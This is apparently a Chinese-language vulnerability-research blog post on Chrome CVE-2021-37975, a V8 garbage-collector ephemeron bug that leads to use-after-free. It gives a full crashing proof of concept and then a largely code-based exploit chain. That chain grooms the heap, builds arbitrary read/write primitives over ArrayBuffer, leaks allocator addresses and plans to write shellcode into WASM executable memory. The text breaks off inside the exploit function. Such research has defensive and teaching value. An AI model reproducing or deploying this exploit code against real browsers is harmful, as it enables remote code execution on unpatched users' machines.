继续分析 Chrome 在野利用,这次分析 CVE-2021-37975,这个漏洞是 GC 组件中的代码逻辑问题,可以导致释放后重利用。正好通过分析这个漏洞了解一下 v8 的 GC 实现,以及释放后重利用漏洞的利用策略。

复现

阅读报告得知低于 94.0.4606.71 的 Chrome 受此漏洞影响,搜索 2021 年 9月 的 Chrome 发布记录 找到 94.0.4606.61,从源码构建出此版本 Chrome。

git fetch --depth 1 `
https://chromium.googlesource.com/chromium/src.git `
+refs/tags/94.0.4606.61:chromium_94.0.4606.61

git checkout tags/94.0.4606.61
gclient sync -v
gclient sync --with_branch_heads
gclient runhooks
gn args out/CVE-2021-37975
ninja -C out/CVE-2021-37975 chrome

ℹ️NOTE: sync 过程中我遇到了 v8 rebase 冲突的问题,没找到导致冲突的原因,只好采用比较笨的办法,把 v8 目录删掉后重新运行 gclient sync -v,这样 gclient 新同步了一份 v8 代码就可以了。


提取报告中的 POC 代码,用 python -m http.server 搭建一个可以触发漏洞的本地站点。

// poc.js

var initKey = {init : 1};
var level = 4;
var map1 = new WeakMap();

function hideWeakMap(map, level, initKey) {
  let prevMap = map;
  let prevKey = initKey;
  for (let i = 0; i < level; i++) {
    let thisMap = new WeakMap();
    prevMap.set(prevKey, thisMap);
    let thisKey = {'h' : i};
    thisMap.set(prevKey, thisKey);
    prevMap = thisMap;
    prevKey = thisKey;
    if (i == level - 1) {
      let retMap = new WeakMap();
      map.set(thisKey, retMap);
      return thisKey;
    }
  }
}

function getHiddenKey(map, level, initKey) {
  let prevMap = map;
  let prevKey = initKey;
  for (let i = 0; i < level; i++) {
    let thisMap = prevMap.get(prevKey);
    let thisKey = thisMap.get(prevKey);
    prevMap = thisMap;
    prevKey = thisKey;
    if (i == level - 1) {
      return thisKey;
    }
  }
}

function setUpWeakMap(map) {
  let hk = hideWeakMap(map, level, initKey);
  let hiddenMap = map.get(hk);
  let map7 = new WeakMap();
  let map8 = new WeakMap();
  let k5 = {k5 : 1};
  let map5 = new WeakMap();
  let k7 = {k7 : 1};
  let k9 = {k9 : 1};
  let k8 = {k8 : 1};
  let v9 = {};
  map.set(k7, map7);
  map.set(k9, v9);
  hiddenMap.set(k5, map5);
  hiddenMap.set(hk, k5);
  map5.set(hk, k7);
  map7.set(k8, map8);
  map7.set(k7, k8);
  map8.set(k8,k9);
  
}

function main() {
    setUpWeakMap(map1);

    new ArrayBuffer(0x7fe00000);
    let hiddenKey = getHiddenKey(map1, level, initKey);
    let hiddenMap = map1.get(hiddenKey);
    let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey);
    let k8 = map1.get(k7).get(k7);
    let map8 = map1.get(k7).get(k8);

    console.log(map1.get(map8.get(k8)));
}

while (true) {
  try {
    main();
  } catch (err) {}
}
<!--index.html-->
<html>
<body>
<script src="./poc.js"></script>
CVE-2021-37979
</body>
</html>

Chrome 访问 http://localhost:8000 后崩溃。

分析


ℹ️NOTE: 在对漏洞有了基本了解后,我并没有继续看报告中余下的分析,而是把这次的分析当做一个练习题,先尝试自己分析,再进行不下去的时候再去漏洞报告中看寻找提示,所以下面的分析走了不少“弯路”。


阅读报告得知漏洞是出现在 GC 组件,先搜了一篇 v8 GC 的介绍:

  • https://v8.dev/blog/trash-talk

看完以后得到以下信息:

  • v8 使用了分代(Generation)回收的策略:
    • 内存分成了 Newspace 和 Oldspace 两个空间,新创建的对象先从 Newspace 申请内存,在 GC 时可以被提升(移动)到 OldSpace。
    • GC 策略有为 Scavenger (Minor-GC) 和 Mark-Sweep-Compact (Major-GC) 两种
      • Scavenger 仅对 Newspace 进行回收,使用的是 Cheney’s 算法:把 Newspace 分割成 From 和 To 两个半空间(Semispace),仅从 From 分配内存,To 预留不用,在 From 内存用光时,启动 Sacvenger 垃圾回收,交换 From 和 To 的指向,把存活对象都拷贝到新的 From。
      • Mark-Sweep-Compact 算法是对整个堆进行回收:从预先定义的根集(Roots)开始,用三色标记法追踪存活对象。标记完成后,遍历所有页面,将 New Space 的对象,移动到 Old Space,标记 Oldspace 中的空闲的内存块,按需整理内存碎片。
      • 这种策略是基于这样的场景:大部分对象的生命周期很短,Newspace 中的对象创建之后很快就被丢弃了,需要频繁的进行 GC 检查。Oldspace 中都是存活一定时间后的对象,倾向于稳定,不需要经常的进行 GC 检查。

分析 poc.js

有了基本的了解以后,开始调试程序。Visual Studio 附加调试 Chrome.exe,开启子进程调试选项,附加成功后新建标签页访问 POC 页面,触发崩溃。

查看调用栈,得知崩溃是发生在 console.log 函数中,异常原因是访问了无效的内存地址,这应该就是使用被释放内存的地方,POC 中只有一处 console.log 调用,被释放的对象应该就是 console.log 的参数。

用 Chrome 的开发者工具分步调试 poc.js 代码,查找 console.log 的参数的来源。

hideWeakMap

先分析 hideWeakMap 函数,修改下 poc.js 让调试更方便:

  • 这部分仅调试 setUpWeakMap(map1) 就够了,注释掉无关部分,这样就可以调试 hideWeakMap 而又不触发崩溃
  • hideWeakMap 开头插入 debugger; 语句制造断点。

setUpWeakMap 创建了一组对象,还创建了一组 WeakMap 把它们串到一起,WeakMap 这种数据结构我之前没使用过,从 MDN 了解到它是一种特殊的 Map,主要特性是它的键只能是对象且都是弱引用。这样一来 WeakMap 的键不被其他对象引用时,就会被垃圾回收,键被垃圾回收后,值的引用也会失效。

函数主体是执行 level 轮的 for 循环,每轮操作如下:

  1. 新建对象 thisMap[i],thisKey[i],后面简写成 m_i, k_i。
  2. 把本轮的 m_i 和 上一轮的 m_i-1 用上一轮的 k_i-1 关联起来: m_i-1[k_i-1] => m_i。
  3. 把本轮的 k_i 和 m_i 用上一轮的 k_i-1 关联起来: m_i[k_i-1] => k_i
  4. 综合上面两条, m_i: { k_i => m_i+1, k_i-1 => k_i },其中 k_i => m_i+1 是第 i+1 轮循环执行 2 时设置的。
  5. 对于最后一轮循环的 m_i,没有第 i+1 轮循环来设置其 k_i,所以它只有 k_i-1 一个键:{ k_i-1 => k_i }
  6. 第一轮循环(i=0)时全局量 map1 和 initKey 相当于 m_-1 和 k_-1
  7. 最后一轮额外创建一个空的 retMap,将 retMap 以 k_level-1 为键关联到 map1

本次调用传入的 level 值为 4,函数返回后,相关变量状态如下:

  • map1 适用规则 6、7,得到 { initKey => m_0, k_3 => retMap }
  • m_0 适用规则 6,得到 { initKey => k_0, k_0 => m_1 }
  • m_1、m_2 适用规则 4,得到 { k_1 => m_2, k_0 => k_1 }、{ k_2 => m_3, k_1 => k_2 }
  • m_3 适用规则 5,得到 { k_2 => k_3 }
  • 返回值是循环最后一轮的 k_3

函数返回时,对象关系如下图:

setUpWeakMap

hideWeakMap 执行完毕后,返回到 setUpWeakMap

  • 返回值 hk 就是 k_3,那么 hiddenMapretMap
  • 创建 map5、map7、map8、map9、k5、k7、k8、k9、v9。为了统一符号,后面简写成 map_n、k_n、v_n

setUpWeakMap 返回时,对象关系扩充成:

main

完成上面的操作后,程序返回到 main 函数:

  • 申请超大的 ArrayBuffer
  • 调用 getHiddenKey 获取到了 k_3 存入 hiddentKey
  • 利用 k_3 从 map1 取得了 retMap 存入 hiddenMap
  • 从 retMap 中取到 k_7:
    • k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey)
    • => k7 = retMap[ retMap[k_3] ][k_3]
    • => retMap[k_5][k_3]
    • => m_5[k_3]
    • => k_7
  • 从 map1 取到 k_8:map1[k_7][k_7] => m_7[k_7] => k_8
  • 从 map1 取到 m_8:map1[k_7][k_8] => m_7[k_8] => m_8
  • 从 map1 取到 v9,然后用 console.log 输出:map1[ map8[k_8] ] => map1[k_9] => v9

引用关系

有了基本的了解,我们从被释放的对象 v9 开始,反着梳理一下引用关系,总结出一个引用关系图:

  • 带数字标注的实线边,代表 WeakMap 的键值关系,如果边的起点代表的键被 GC 回收了,那么边的终点也不再有效了。标号是从 v9 开始的指向层数,例如,指向 v9 的边 map1[k_9] -> v9 是第 0 层,要保证 v9 不被回收,则指向 k_9 和 map1 的边 ROOT -> map1 和 m_8[k_8] -> k_9 是就必须有效,这两个边是第一层,再往上指向 m_8 和 k_8 的边 m_7[k_8] -> m_8,m_7[k_7] -> k_8 是必须有效(ROOT 比较特殊,它是一直有效的),这就是第二层。
  • 不带标号的虚线,把对象和把它作为键的地方关联起来。带菱形箭头的一边是对象的值,另一边代表 WeakMap 使用此对象作为键的位置,根据 WeakMap 的特向,当对象被 GC 回收后, 使用它作为键的地方也不再有效。
  • Roots 可以看做一个包含所有全局对象的数组

while 循环

剩下的部分就是一个 while(true) ,循环调用 main 函数并且忽略所有异常。

调试 GC

通过上面的分析,我推测是 GC 的存活分析出现了问题,误把存活的对象,当做不再被引用的对象回收了。而且 POC 大量使用了 WeakMap,很可能是与 WeakMap 相关的 GC 逻辑,我带着这个推测开始调试 GC 的过程。

先调一下 Scavenger,在源码中搜索 Scavenger 关键字,搜索结果中找到 ScavengerCollector 类,大致浏览此类找到 ScavengerCollector::CollectGarbage 函数,根据此函数的引用上下文,推测这个就是执行 Scavenger 算法的函数。编写测试页面验证推测:测试页循环执行 obj = new Object() 申请大量对象触发 Scavenger GC,Chrome 访问测试页面后,确实可以触发断点,粗略调试函数也有同样的结果。确认后就可以调试 POC 的 Scavenger 流程了,在 POC 开头加入 alert,待 alert 弹出后,启用 Scavenger 的断点,点掉弹窗让代码继续运行,发现页面直接崩溃了,断点并不会断下。检查后确认断点没问题,就是没有执行到相关代码。

看来漏洞并不在 Scavenger 组件,分析脚本的 GC 操作的调用栈,找到更上层的 GC 启动逻辑 Heap::PerformGarbageCollection 。下好断点后,再次访问 POC 页面,这次可以断下,查看调用栈发现是在申请 ArrayBuffer 的地方,单步跟下去确实跟到了 Mark-Sweep-Compactor 垃圾回收器,看来 POC 中 new ArrayBuffer(0x7fe00000); 就是用来触发 GC 的。


ℹ️NOTE: ArrayBuffer 申请失败会触发 GC,0x7fe00000 这个值太大了超过了能申请的最大值,一定会申请失败。


接下来我反复调试了 Mark-Sweep-Compact 垃圾回收的过程,重点关注 WeakMap 对象相关的 GC 策略,发现如下:

Mark-Sweep-Compact 大致可以分为标记和回收两步:

  • 标记:从包含全局量、栈等位置的根集开始,以广度优先的顺序,对存活对象进行标记。标记采用的是三色标记法,标记结果以位图的形式存放在内存块头中。
  • 回收:根据标记结果,把空闲内存回收,回收过程中,如果有必要还会对 Oldspace 进行整理,减少内存碎片。

ℹ️NOTE: 可以用 chrome.exe --no-sandbox --js-flags="--no-parallel_marking" 命令行,关闭并发标记,简化这部分调试工作。


标记阶段与 WeakMap 相关的动作:

  • WeakMap (v8::internal::JSWeakMap):WeakMap 内部有一个指向 EphemoronTable 结构的指针,对它的标记动作是把 EphemoronTable 标记成灰色,并加入工作队列。详见 MarkingVisitorBase<..>::VisitJSWeakCollection
  • EphemeronTable:WeapMap 中的 Key-Value 对在 GC 中被叫做 ephemoron,存储在EphemeronTable 结构中。 对它的标记操作:
    • 先会把它记录到 ephemeron_hash_tables,这样标记完成后 ephemeron_hash_tables 中就包含所有的 EphemeronTable
    • 之后遍历它内部存储的 Key-Value 对,如果 Key 是灰色或黑色,则把 Value 标记为灰色,加入工作队列。如果 Key 和 Value 都是白色,则把 Key-Value 对加入 discovered_ephemorons 队列。这是因为当前还有对象没有处理完,Key 的颜色后续还可能会发生变化,要等其他的对象都处理完成后才能确定。可以看到 WeakMap 中存储的 。

在整个标记阶段的末尾,在其他对象都处理完成后,还会专门对 Ephemerons 进行一轮最终的处理,循环标记 Ephemerons 直到状态不再变化:

  • next_ephemerons 队列的所有元素移动到 current_ephemerons 队列
  • 遍历 current_ephemorons 中的所有 Ephemeron。如果 Key 已经变成黑/灰了, 就把 Value 标记为灰色,加入工作队列。否则就放回 next_ephemerons 队列,下轮继续处理。
  • 处理工作队列中所有对象
  • 遍历 discovered_ephemorons 处理新发现的 Ephemeron,也是发现黑色/灰色的 Key 就把 Value 标记为灰色,加入工作队列,如果 Key,Value 都是白色,则加入 next_ephemerons 集合
  • 如果本轮循环,既没有发现 current_ephemerons 队列的变化,又没有新增 discovered_ephemerons 队列,则处理完成,跳出循环。

回收阶段会把标记过的存活对象进行移动,从 New Space 移动到 Old Space。多次调试后,我发现移动操作完成后,map1 中有几个对象没被移动,也正是访问这些值的操作触发了崩溃。根据我前面分析出的引用关系,map1 中所有的值都是存活的,都该被移动到 Old 空间,标记阶段漏标的值应该就是这里了。

漏标的值是 WeakMap 中存储的,所以推测是循环处理 Ephemerons 的地方出了问题,重点对这块进行调试后发现,Ephemerons 处理的完成条件是有问题的,可能出现 map1 中存储的 v_9 还未被标记,循环就已经满足条件退出的情况,最终 v_9 被当做垃圾回收了。GC 完成后虽然 v_9 已经被释放掉了,还可以从 map_1 中读取到它的指针,继续访问被释放的内存。

利用

接下来编写利用代码,思路如下:

  • 在 Old Space 构造出 0x30, 0x40 两种大小的空闲内存空洞:
    • 创建多个包含 5 个元素的 Double 数组
    • 创建多个包含 6 个元素的 Double 数组
    • 触发 GC 把数组移动到 Oldspace
    • 再利用数据的 Push 函数,把上面两种数组都扩充成 8 个元素。这样数组的旧缓冲区 (FixedArray) 会被释放掉在,产生 0x30, 0x40 两种空闲内存块。
  • 申请多个 5 元素的 Double 数据,触发 GC,数组的 JSArray 就会被移动到 0x30 的空洞中,每个 0x30 的空闲块中可以填入 3 个 JSArray(0x10),缓冲区(FixedArray)被移动到 0x40 的空洞中,把所有这些数组都存放入一个全局数组 arrs 中。
  • 创建多个 ArrayBuffer
  • 把 v9 替换成第二步中使用的 arrs 数组,之后把 arrs 置为空。
  • 触发漏洞,arrs 数组会被释放掉,数组所在的位置又变成了空闲内存块,ArrayBuffer 对象有可能被移动到 0x40 空闲块中,而 0x30 的空闲块可能没有被分配。
  • 通过漏洞还是可以访问到 arrs 数组,由于 Double 数组的缓冲区(0x40 的块)已经被填入了 ArrayBuffer,利用 arrs 就可以读/写 ArrayBuffer 的内容。
  • 读取到 ArrayBuffer 的 backing_storage,就可以使用 CVE-2019-13720 类似的技术,新创建一个 FileReaderLoader 并从 FastMallocPartitionRoot 获取到它的地址,又通过此对象读取到与其关联的 FileReader 以及其 WASM 函数的 RWX 内存块的地址。
  • 修改 ArrayBuffer 的 backing_store 和长度,就可以把 shellcode 拷贝到上一步创建的 RWX 内存块中,作为 WASM 导出函数执行。

稳定 Oldspace

多次改写利用代码后,我发现要想稳定利用 UAF 型漏洞,就要控制好 Oldspace 的状态。每次 Major-GC 过程中 Sweep, Evacuation 都可能改变 Oldspace 的状态,先了解这两个步骤。

Sweep

Sweep 是根据标记结果,回收页面中的空闲内存,将其插入空闲表的过程:

  • 在 Major GC 中 Sweep 是按需进行的,不是一下 Sweep Oldspace 所有的页面,而是每次内存不够用时,回收一个页面的,待 GC 完成的时候,如果有没回收的页面,就交给后台线程去继续回收。
  • 根据之前标记的存活信息,把所有页面根据存活数据的大小进行排序,先回收存活数据量少的页面。
  • 依照标记存活信息,找到存活对象之外的空闲块,在空闲块上创建代表空闲块的特殊对象,链入所在页面的空闲表。
  • 有三种不同类型的对象都可以表示空闲内存,它们的不同之处是内存块的大小:
    • 如果只有 4 字节就是 OnePointerFiller
    • 有 8 字节是 TwoPointerFiller
    • 如果超过 8 字节,就是 FreeSpace:
      • FreeSpace
        • 0x00 map
        • 0x04 size: Smi
        • 0x08 next: TaggedPtr
  • 空闲表总共有 24 个,每个都容纳不同大小的空闲内存块,例如,第一个存储小于 24 的,第二个里面存储 [24, 32) 的。 ```cpp

static constexpr unsigned int categories_min[kNumberOfCategories] = { 24, 32, 48, 64, 80, 96, 112, 128, 144, 160, 176, 192, 208, 224, 240, 256, 512, 1024, 2048, 4096, 8192, 16384, 32768, 65536};


#### Evacuation

Major-GC 会选择 Newspace 中所有页面和部分 Oldspace 的页面,形成一个页面的集合,逐个遍历这些页面,把页面中的对象移动到其他地方:

- 发现一个新对象,就从 Oldspace 申请对应大小的内存,把对象移动过去。也就是说 Newspace 的对象移动到 Oldspace, Oldspace 中的对象移动到 Oldspace 的其他页面
- Oldspace 的内存申请可以细分为多个层级:
	- 先从 Oldspace 的线性分配区申请
	- 线性分配区剩余内存不足时,就把线性分配区释放,从空闲表中申请 FreeSpace 作为新线性分配区,空闲表根据内存块大小分组存放,先尝试最接近目标内存大小,之后再依次尝试更大的,直到最大的空闲内存块
	- 当空闲链表内存不足时,尝试查找已经 Sweep 完成但是没有加入空闲链表的页面,把页面内的所有 FreeSpace 插入空闲链表
	- 如果没有找到这样的页面,就尝试 Sweep 新页面
	- 如果 Sweep 新页面也不能满足,就申请新的页面。
- 从 Oldspace 选取的是存活数据占比较低的页面,以达到整理内存碎片的作用:
	- Oldspace 所有页面按照存活数据大小进行排序,将存活数据量最小的几个页面作为候选页面
	- Oldspace 中有一个特殊的页面,它的大小连其他正常页面的一半都不到,这个页面不会被 Evacuation,但是会影响页面的排序和新页面的申请。
		- 当最空闲的页面,已经分配过半,下次 GC 时,它就会被排序到特殊页面之后,Sweep 先尝试的就是特殊页面,如果特殊页面几乎是满的,Sweep 就会失败,申请一个新页面出来
		- 新的页面填入的数据如果没有特殊页面大,下次 GC 就会将其排序到特殊页面前,Evacuation 会把,特殊页面前后的两个页面中的对象合并到一个新页面中,达到了整理内存碎片的效果。
	- 计算所有 Evaculation 候选页面中已用内存的和,预估 Evaculation 完成后这些对象所需的页面数量。如果对 Oldspace 的 Evaculation 并不能减少 Oldspace 页面使用量,则不会进行 Evaculation。


#### 代码实现

稳定的利用,就需要:

- 0x30, 0x40 空闲块所在的页面的总是第一个被 Sweep,这样才能让 Newspace 的对象,被移动到事先准备的空闲块中。
- 0x30, 0x40 空闲块所在的页面不被 Evacuation,因为 Evacuation 会破坏布局好的空闲块。

经过实验,我发现在利用的开头,先用 Double 数组申请大量的 0x10 的内存块,可以让 Oldspace 达到一个较稳定的状态,这个时候 Oldspace 总共有 5 个页面,4 个容量为 0x40000,剩下 1 个为 0x15000。其中 4 个已经被填满了,只剩下一个 0x40000 容量的页面仅有 0xC000 左右的内存被分配。这就使得整个利用期间,此页面的已分配内存总是最小的,每次 Sweep 都是在这个页面进行,而且由于其他页面都是满的,Evaculation 并不能减少总的页面用量,也不会有 Evacuation 来影响内存布局。

内存布局示例:

- 0x00006a7508140000,大小:0x40000,已分配:0x3d134
- 0x00006a7508200000,大小:0x40000,已分配:0x386c0
- 0x00006a7508040000,大小:0x40000,已分配:0x32b7c
- 0x00006a75081c0000,大小:0x15000,已分配:0x128ac
- 0x00006a7508280000,大小:0x40000,已分配:0xc550

这样整个利用期间新对象的申请释放,大多是在页面 0x00006a7508280000 上进行的,其他页面的状态不会变化。

```javascript
const predict_free_space = Math.floor(0x3d000 * 0.9);
let occupy = null;
const sizeOfArr = 0x10 + 2 * 0x8 + 0x4;
function AllocateNewPage() {
  occupy = new Array(Math.floor(predict_free_space / sizeOfArr));
  for (let i = 0; i < occupy.length; ++i) {
    occupy[i] = [2.7749965545731962e-257];
  }

  TrigerGc();
}

function TrigerGc() {
  try {
    new ArrayBuffer(0x7fe00001);
  } catch (e) {
  }
}

布局内存

通过上面的步骤稳定 Oldspace 后,就可以按照思路在 Oldspace 中布局内存,构造 UAF 了。

先是构造若干 0x30, 0x40 的空闲内存空洞。

const count = 10;
let bufs = new Array(count);
let arr = new Array(2 * count);
let arr2_before = new Array(2 * count);
let arr2 = new Array(count);
let arr3 = new Array(count);
let arr_keep = new Array(count);

function setUpWeakMap() {
	for (let i = 0; i < arr.length; ++i) {
	    if (i < count) {
	      arr[i] = [ 1.1, 1.2, 1.3, 1.4, 1.5 ];
	    } else {
	      arr[i] = [ 1.1, 1.2, 1.3, 1.4, 1.5, 1.6, 1.7 ];
	    }
	}

	TrigerGc();
	
	for (let i = 0; i < arr.length; ++i) {
	    if (i < count) {
	      arr[i] = [ 1.1, 1.2, 1.3, 1.4, 1.5 ];
	    } else {
	      arr[i] = [ 1.1, 1.2, 1.3, 1.4, 1.5, 1.6, 1.7 ];
	    }
	}

	TrigerGc();
	
	...

ℹ️NOTE:bufs,arr,arr2_before 这些一定要是全局变量,这样它们申请的时机较早,和临时变量处于不同的页面中:

  • 不会影响漏洞利用期间的内存布局
  • 释放后不会被 Sweep,可以稳定的 UAF

再申请新数组填入空洞,0x30 空洞被填入 JSArray,0x40 空洞被填入 FixedArray(缓冲区),JSArray 中有指针指向 FixedArray

实际测试中我发现,利用 double 数组( arr3),额外申请一些 0x10 的空洞,有助于提升利用的稳定性:

  • 可以填充之前已经存在的 0x10 空洞
  • 可以让 arr2 中的 JSArray 不位于空闲块的开头,被 Sweep 后不会被 FreeSpace 的数据覆盖。
	...
	
	for (let i = 0; i < arr3.length; ++i) {
		arr3[i] = [ 1.1 ];
	}
	
	TrigerGc();
	
	
	for (let i = 0; i < arr2.length; ++i) {
		arr2[i] = [ 1.7, 1.7, 1.7, 1.7, 1.7, 1.7, 1.7 ];
	}
	
	TrigerGc();
	
	...

接下来申请若干 ArrayBuffer,触发漏洞释放掉 arr2,触发漏洞的 GC 同时也会把 ArrayBuffe 移动到 arr2 中元素所在的 0x40 空洞的位置。

	...
	for (let i = 0; i < bufs.length; ++i) {
		bufs[i] = new ArrayBuffer(8);
	}

	PreventModifyArr = new Array(100);
	
	let hk = hideWeakMap(map, level, initKey);
	let hiddenMap = map.get(hk);
	let map7 = new WeakMap();
	let map8 = new WeakMap();
	let k5 = {k5 : 5};
	let map5 = new WeakMap();
	let k7 = {k7 : 7};
	let k9 = {k9 : 9};
	let k8 = {k8 : 8};

	
	map.set(k7, map7);
	hiddenMap.set(k5, map5);
	hiddenMap.set(hk, k5);
	map5.set(hk, k7);
	
	map7.set(k8, map8);
	map7.set(k7, k8);
	
	map8.set(k8, k9);
	
	map.set(k9, arr2);
	arr2_before = null;
	arr2 = null;
}

实际测是发现 JSWeakMap 可能会被移动到关键的数据结构中,影响漏洞利用,所以我又加了一个 PreventModifyArr,期望可以通过一个较大内存块的分析,让页面末尾的大块空闲内存成为线性分配区,这样之后的其他对象都会被填入这个非常大的线性分配区,而不会影响页面前端的小对象。

async function main() {
	setUpWeakMap(map1);

	// 触发漏洞
	TrigerGc();
	
	try {
		let hiddenKey = getHiddenKey(map1, level, initKey);
		let hiddenMap = map1.get(hiddenKey);
		let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey);
		let k8 = map1.get(k7).get(k7);
		let m8 = map1.get(k7).get(k8);
		let arr_free_uaf = map1.get(m8.get(k8));
		
		let arrbuf_as_arr = null;
		try {
			for (let i = arr_free_uaf.length; i > 0; --i) {
				if (!arr_free_uaf[i])
					continue;
			
			maybe_ab_len = high32(ftou(arr_free_uaf[i][0]));
			if (maybe_ab_len == 8) {
				arrbuf_as_arr = arr_free_uaf[i];
				arr_free_uaf = null;
				arrbuf_as_arr[0] =
				utof(ftou(arrbuf_as_arr[0]) + BigInt(0x10000000000));
				break;
			}
		}
		
		if (arrbuf_as_arr == null) {
			return;
		}
		
		// maybe point to arraybuffer.byteLength
		let arrbuf = null;
		for (let i = 0; i < bufs.length; ++i) {
			if (bufs[i].byteLength != 8) {
				arrbuf = bufs[i];
				break;
			}
		}
		
		if (arrbuf == null) {
			return;
		}


	...

漏洞成功触发后,arr_free_uaf 指向的就是已经被释放了的 arr2 数组,它内部指向的元素如果没有被覆盖的话,此时就指向了 ArrayBuffer 所在的内存,那么利用 arr_free_uaf[i] 就可以读/写 ArrayBuffer 的内容。

  • JSArrayBuffer
    • 0x00 map: taggedptr
    • 0x04 props: taggedptr
    • 0x08 elems: taggedptr
    • 0x0C byte_len: intptr_t
    • 0x14 max_byte_len: intptr_t
    • 0x1C backing_store: intptr_t
    • 0x24 extension: intptr_t
    • 0x2C bitfield: int32_t

arr_free_uaf[i][0] 相当于是 JSArrayBuffer 0x08 偏移处的内同,也就是 elems 和 byte_len 的低 32 位,arrbuf_as_arr[0] = utof(ftou(arrbuf_as_arr[0]) + BigInt(0x10000000000)); 就相当于 byte_len += 100

修改了 ArrayBuffer 的长度后,我们遍历整个 bufs 数组,检查 byteLength,定位到可以通过 arr_free_uaf 可以读写到的元素。

代码执行

上面已经得到了读写 ArrayBuffer 的能力,通过这个能力我们是可以利用 ArrayBuffer 实现任意地址读写的,但是我们要读写什么数据,来把它转换成代码执行呢?

也许我们可以再触发一次漏洞,构造出一个 addrof 操作,但是这样必然会进一步降低漏洞利用的稳定性。经过多次尝试,我发现从 ArrayBuffer 的 backing_store 入手,借鉴 CVE-2019-13720 的利用思路,可以在只触发一次漏洞的情况下完成利用。

CVE-2019-13720 的利用思路,用到的是 FastMallocPartition 中申请的内存块,而 backing_store 是从 ArrayBufferPartition 申请的内存块,但是所有的PartitionRoot 都是再同一个函数中定义的 static 变量,它们在内存中是临近的。

// static
bool Partitions::InitializeOnce() {
#if !BUILDFLAG(USE_PARTITION_ALLOC_AS_MALLOC)
  static base::NoDestructor<base::PartitionAllocator> fast_malloc_allocator{};
  fast_malloc_allocator->init({
    base::PartitionOptions::AlignedAlloc::kDisallowed,
        base::PartitionOptions::ThreadCache::kEnabled,
        base::PartitionOptions::Quarantine::kAllowed,
        base::PartitionOptions::Cookies::kAllowed,
#if BUILDFLAG(ENABLE_BACKUP_REF_PTR_IN_RENDERER_PROCESS)
        base::PartitionOptions::RefCount::kAllowed
#else
        base::PartitionOptions::RefCount::kDisallowed
#endif
  });

  fast_malloc_root_ = fast_malloc_allocator->root();
#endif  // !BUILDFLAG(USE_PARTITION_ALLOC_AS_MALLOC)

  static base::NoDestructor<base::PartitionAllocator> array_buffer_allocator{};
  static base::NoDestructor<base::PartitionAllocator> buffer_allocator{};
  static base::NoDestructor<base::ThreadUnsafePartitionAllocator>
      layout_allocator{};

  base::PartitionAllocGlobalInit(&Partitions::HandleOutOfMemory);

  // RefCount disallowed because it will prevent allocations from being 16B
  // aligned as required by ArrayBufferContents.
  array_buffer_allocator->init({
    base::PartitionOptions::AlignedAlloc::kDisallowed,
        base::PartitionOptions::ThreadCache::kDisabled,
        base::PartitionOptions::Quarantine::kAllowed,
        base::PartitionOptions::Cookies::kAllowed,
        base::PartitionOptions::RefCount::kDisallowed
  });
  buffer_allocator->init({
    base::PartitionOptions::AlignedAlloc::kDisallowed,
        base::PartitionOptions::ThreadCache::kDisabled,
        base::PartitionOptions::Quarantine::kAllowed,
        base::PartitionOptions::Cookies::kAllowed,
#if BUILDFLAG(ENABLE_BACKUP_REF_PTR_IN_RENDERER_PROCESS)
        base::PartitionOptions::RefCount::kAllowed
#else
        base::PartitionOptions::RefCount::kDisallowed
#endif
  });
  // RefCount disallowed because layout code will be excluded from raw_ptr<T>
  // rewrite due to performance.
  layout_allocator->init({
    base::PartitionOptions::AlignedAlloc::kDisallowed,
        base::PartitionOptions::ThreadCache::kDisabled,
        base::PartitionOptions::Quarantine::kAllowed,
        base::PartitionOptions::Cookies::kAllowed,
        base::PartitionOptions::RefCount::kDisallowed
  });

  array_buffer_root_ = array_buffer_allocator->root();
  buffer_root_ = buffer_allocator->root();
  layout_root_ = layout_allocator->root();

#if defined(PA_ALLOW_PCSCAN)
  if (base::FeatureList::IsEnabled(base::features::kPartitionAllocPCScan) ||
      base::FeatureList::IsEnabled(kPCScanBlinkPartitions)) {
    base::internal::PCScan::RegisterNonScannableRoot(array_buffer_root_);
#if !BUILDFLAG(USE_PARTITION_ALLOC_AS_MALLOC)
    base::internal::PCScan::RegisterScannableRoot(fast_malloc_root_);
#endif
    base::internal::PCScan::RegisterScannableRoot(buffer_root_);
  }
#endif  // defined(PA_ALLOW_PCSCAN)

  initialized_ = true;
  return initialized_;
}

有了 backing_store 的地址,就可以读到 ArrayBufferPartitionRoot 的地址,从而计算出 FastMallocPartitionRoot 的地址。之后就可以依照 CVE-2019-13720 的利用思路读取到一个 FileReader 对象的地址,又从 FileReader.onerror 事件回调读取到 WASM 导出函数的地址,利用任意内存写将 shellcode 填入 WASM 导出函数,之后调用导出函数就可以执行 shellcode 了。

async function main() {
	...
	
			function read64(addr) {
				arrbuf_as_arr[2] = utof(BigInt(low32(addr)) << BigInt(32));
				arrbuf_as_arr[3] = utof((ftou(arrbuf_as_arr[3]) &
								   BigInt(0xFFFFFFFF00000000)) + BigInt(high32(addr)));
				return new BigInt64Array(arrbuf)[0];
			}
			
			function writeN(addr, src) {
				// modify backing_store
				arrbuf_as_arr[2] = utof(BigInt(low32(addr)) << BigInt(32));
				arrbuf_as_arr[3] = utof(
							(ftou(arrbuf_as_arr[3]) & BigInt(0xFFFFFFFF00000000)) +
							BigInt(high32(addr)));
					// modify len
				arrbuf_as_arr[0] =
					  utof(ftou(arrbuf_as_arr[0]) + (BigInt(src.length) << BigInt(32)));
				
				let dst = new Uint8Array(arrbuf);
				for (let i = 0; i < src.length; ++i) {
					dst[i] = src[i]
				}
			}
			
			await exploit(read64, writeN, backing_store);
		} catch (e) {
			alert(`${e.lineNumber}:${e.message}`);
		}
	} catch (e) {
	}
}
async function exploit(read64, writeN, leaked_arrbuf_ptr) {
	var wasmCode = new Uint8Array([
	0,   97,  115, 109, 1,   0,   0,   0,   1,   133, 128, 128, 128, 0,
	1,   96,  0,   1,   127, 3,   130, 128, 128, 128, 0,   1,   0,   4,
	132, 128, 128, 128, 0,   1,   112, 0,   0,   5,   131, 128, 128, 128,
	0,   1,   0,   1,   6,   129, 128, 128, 128, 0,   0,   7,   145, 128,
	128, 128, 0,   2,   6,   109, 101, 109, 111, 114, 121, 2,   0,   4,
	109, 97,  105, 110, 0,   0,   10,  138, 128, 128, 128, 0,   1,   132,
	128, 128, 128, 0,   0,   65,  42,  11
	]);
	
	const wasmBlob = new Blob([ wasmCode ], {type : "application/wasm"});
	
	let module = WebAssembly.compile(wasmCode)
	// let inst = WebAssembly.instantiate(module)
	
	const wasmUrl = URL.createObjectURL(wasmBlob);
	
